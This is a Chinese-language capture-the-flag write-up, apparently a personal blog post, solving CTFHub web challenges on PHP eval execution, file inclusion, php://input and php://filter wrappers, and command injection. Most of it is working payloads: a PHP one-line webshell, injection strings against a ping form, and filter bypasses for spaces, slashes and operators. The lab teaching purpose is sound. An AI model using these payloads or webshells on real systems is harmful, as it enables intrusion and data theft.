昨天大致学了一下命令执行,那我们今天开始实战。在CTFHu里练习一下
1.eval执行
我们先做一下eval执行吧。看见上面是一段php代码,如下:
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
//eval函数可以把字符串当作php代码执行
//$_RREQUEST可以获得post或者get上传的参数
先浏览一下目录,看看有没有没关于flag的文件,这样我们就可以构造pyload
?cmd=system("ls ../../../"); //system()函数执行外部程序,并且显示输出

发现了flag_25103文件,那我们看看里的数据,构造pyload:
?cmd=system("cat ../../../flag_25103");

获得flag
2.文件包含
下面是文件包含,来看一下里面的代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
//i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
//strpos()函数查找字符串在另一字符串中第一次出现的位置。
说是如果传给file的参数里包含"flag"的话就输出Hacker!!!,如果没有的话把file里的参数当作php代码执行
看看下面还说了有一个shell.txt,how to use it 。shell里面有一句话木马<?php eval($_REQUEST['ctfhub']);?>,
那我们把这个一句话木马传给file变量。
pyload:?file=shell.txt //上传一句话木马
上传之后,我们就可以进行操作了,还是先找一下有没有关于flag的文件,然后我们再获取里面的数据
ctfhub=system('ls ../../../');//查找目录

ctfhub=system('cat ../../../flag');//获取数据

获得flag
3.php://input
我们先来了解一下Php://input。
php://input是可以访问请求的原始数据的只读流。就是说可以执行post请求的内容。它是一种伪协议。
而要使用这个伪协议有两个条件:1.allow_url_include是On;2.POST请求
好,我们来看代码
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
//i don't have shell, how to get flag?
这次它有没shell了。那我们从其他方面看看,上面代码说如果传给file的值开头不是php://就输出Hacker!!!,如果是的话那就执行include函数。
题目php://input,我们从这方面入手,使用php://input
构造pyload
?file=php://input
然后我们抓一下包

应该是成功了,然后我们发送post请求,构造pyload

一样,找到flag文件,获取数据

![C%R]`N@K}8T4S{015{]B823.png C%R]`N@K}8T4S{015{]B823.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611124543787-20e8fc84-903b-4cc4-ae7f-ea2fbb5310a8.png)
3.远程包含
此题与上题方法一样,不再做过多解释,一样是使用php://input
4.读取源代码
我们先说一下php://filter,这个也是伪协议的一种。是一种元封装器, 设计用于数据流打开时的筛选过滤应用。下面是一些参数![H]@H_ZZQ_A~9RJI(]E5BKEJ.png H]@H_ZZQ_A~9RJI(]E5BKEJ.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611126526618-f2e71104-aa6c-4ac2-9fa6-444090627acb.png)
我们还看一下源码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
这次它直接告诉了你flag在哪里了。那下一步我们直接读取就行了。利用php://filter构造pyload
?filte=php://filter/read=convert.base64-encode/resource=/flag
//以base64编码显示
得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然后再解码即可

5.命令注入
![7~1[2K%J_CV0[V8VKG]F0HD.png 7~1[2K%J_CV0[V8VKG]F0HD.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611126962184-5134ace7-62bb-4e99-9073-fac6252c6303.png)
这告诉我们什么都没过滤,那就直接干吧
先来
127.0.0.0|ls //查看目录
![NB8AM8][}S[J$BJ8S}B%%G5.png NB8AM8][}S[J$BJ8S}B%%G5.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611127102468-19e2ad19-823c-4449-9135-6658592c0308.png)
第一个php文件有点可疑,那我们先搞搞它吧,
127.0.0.1|cat 150962426819160.php
![IRAZ99CYUYQ(8V%@]WHZ(5P.png IRAZ99CYUYQ(8V%@]WHZ(5P.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611127178893-2cc581dd-85dd-4e03-866c-5cb138f094b2.png)
啥都没有,那查看源代码
![DY`H7%VEGI255)CH%])F%QJ.png DY`H7%VEGI255)CH%])F%QJ.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611127220690-b58df723-dfe9-46c7-bd8b-5b7638ced28a.png)
6.过滤cat
这次是过滤了cat,不过,不用担心,还是很简单的
我们可以进行绕过,而这样的方法有很多种,在这里我使用了反斜杠,
我们先来把flag文件找到
127.0.0.1|ls

然后获取数据
127.0.0.1|cat flag_39251349022334.php

得到flag
7.过滤空格
关于过滤空格呢,也是可以绕过的
我们可以使用以下方法进行绕过
<
<>
${IFS}
$IFS$9
%09
{cat,flag}
%20
然后其他操作与以上是一样的
127.0.0.1|ls
![`1)}~ESSH]0{%CR2ZG7E8CH.png `1)}~ESSH]0{%CR2ZG7E8CH.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611128247308-10dd4055-8e4d-4716-b085-cdab7c45db65.png)
然后进行绕过
127.0.0.1|cat$IFS$9flag_271841403229806.php

获得flag
8.过滤目录分隔符
这个是过滤了目录分隔符“/”
首先我们先还是老样子
127.0.0.1|ls
![~3W97{A4[{3Q]OA)470Q9}X.png ~3W97{A4[{3Q]OA)470Q9}X.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611128893108-b9b39a16-b0e8-47ab-8202-bc19298b3a8c.png)
127.0.0.1|cd flag_is_here;ls
![[4}9T)1WNSH~3JQAWOQ]8`1.png [4}9T)1WNSH~3JQAWOQ]8`1.png](https://cdn.nlark.com/yuque/0/2021/png/12479803/1611129035012-12d7b089-6beb-4bff-85d3-57cfa3900dde.png)
然后我们再用
127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //转到flag_is_there里面,并获取里面的数据
得到flag

9.过滤运算符
这个过滤了运算符|、||、&、&&。可是还有一个;运算符。可以利用它进行注入,用法与|一样,这里不再进行过多解释
10.综合过滤练习

看样子是将之前的过滤综合到了一起。
那我们开始了,先查看目录
?ip=127.0.0.1%0als
若所有运算符都被过滤,那我们可以使用%0a来代替

然后进一步查看flag_is_here
?ip=127.0.0.1%0Als$IFS$9flag_is_here

然后获取数据
?ip=127.0.0.1%0Acd$IFS$9flag_is_here%0Acat$IFS$9flag_272101055320691.php

成功!!!